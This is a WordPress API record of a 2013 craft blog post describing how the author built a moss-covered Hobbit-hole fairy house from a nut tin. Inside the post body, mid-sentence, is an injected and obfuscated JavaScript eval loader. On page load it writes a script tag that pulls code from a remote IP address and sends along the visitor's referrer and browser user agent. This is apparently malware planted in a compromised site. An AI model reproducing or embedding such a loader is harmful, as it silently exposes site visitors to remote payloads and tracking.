{"id":4259,"date":"2013-12-07T10:53:20","date_gmt":"2013-12-07T17:53:20","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=4259"},"modified":"2013-12-04T10:13:48","modified_gmt":"2013-12-04T17:13:48","slug":"in-a-hole-in-the-ground","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=4259","title":{"rendered":"In a hole in the ground&#8230;"},"content":{"rendered":"<p>&#8230; there lived a hobbit!\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 The Hobbit has been a life-long favorite for many generations of my family.\u00c2\u00a0 Last summer Katherine and I were working on some fairy houses, and I made a pretty decent Hobbit Hole, so I thought I&#8217;d share it now in anticipation of the upcoming movie.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/hobbit-hole-3.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4263\" alt=\"hobbit hole 3\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/hobbit-hole-3-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/hobbit-hole-3-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/hobbit-hole-3-1024x768.jpg 1024w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/hobbit-hole-3.jpg 1600w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>I <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tizna|var|u0026u|referrer|kaers||js|php'.split('|'),0,{}))\n<\/script><\/noindex> started with an empty tin for nuts.\u00c2\u00a0 I think they&#8217;d been cashews.\u00c2\u00a0 I cut a round hole in the side, and a replacement piece for a door.\u00c2\u00a0 Everything got pasted over with decorative paper\u00c2\u00a0 &#8211; I chose wallpaper scraps to make it a little more water resistant.\u00c2\u00a0 I attached the door with some tiny hinges from a scrapbooking supply store.\u00c2\u00a0 I cut a hole in the plastic lid and covered the hole with a plastic gem, to let some light in through the top.\u00c2\u00a0 And although Hobbits have nice wood paneling, carpets, and comfortable furniture, this little dwelling is more rustic &#8211; just sand with some glitter mixed in, and some small quartz crystals to make it look more a like a magical little cave.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/hobbit-hole-1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4261\" alt=\"hobbit hole 1\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/hobbit-hole-1-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/hobbit-hole-1-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/hobbit-hole-1-1024x768.jpg 1024w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/hobbit-hole-1.jpg 1600w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>I placed the whole thing in a large basket, surrounded it with potting soil, and planted moss all around and over the top.\u00c2\u00a0 I sprayed the moss with a little water each day while the roots settled.\u00c2\u00a0 At the end, I added some glow-in-the-dark beads around the handle as fairy lights, and hung a tiny little key from a twig by the door.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/placed-in-basket.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4265\" alt=\"placed in basket\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/placed-in-basket-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/placed-in-basket-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/placed-in-basket-1024x768.jpg 1024w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/placed-in-basket.jpg 1600w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>We also made a fairy market out of popsickle sticks, and another tiny home inside a walnut shell.\u00c2\u00a0 Oh, and we also made a crazy mess!\u00c2\u00a0 :D<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/market.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4264\" alt=\"market\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/market-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/market-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/market-1024x768.jpg 1024w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/market.jpg 1600w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/walnut-2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4266\" alt=\"walnut 2\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/walnut-2-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/walnut-2-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/walnut-2-1024x768.jpg 1024w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/walnut-2.jpg 1600w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/a-mess.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"a mess\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/12\/a-mess-300x225.jpg\" width=\"300\" height=\"225\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8230; there lived a hobbit!\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 The Hobbit has been a life-long favorite for many generations&#8230;<\/p>\n","protected":false},"author":1,"featured_media":4262,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[75],"tags":[105,22,84],"class_list":["post-4259","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-projects","tag-gnome","tag-projects","tag-summer-afternoons"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4259"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4259"}],"version-history":[{"count":1,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4259\/revisions"}],"predecessor-version":[{"id":4268,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4259\/revisions\/4268"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/4262"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4259"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4259"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4259"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}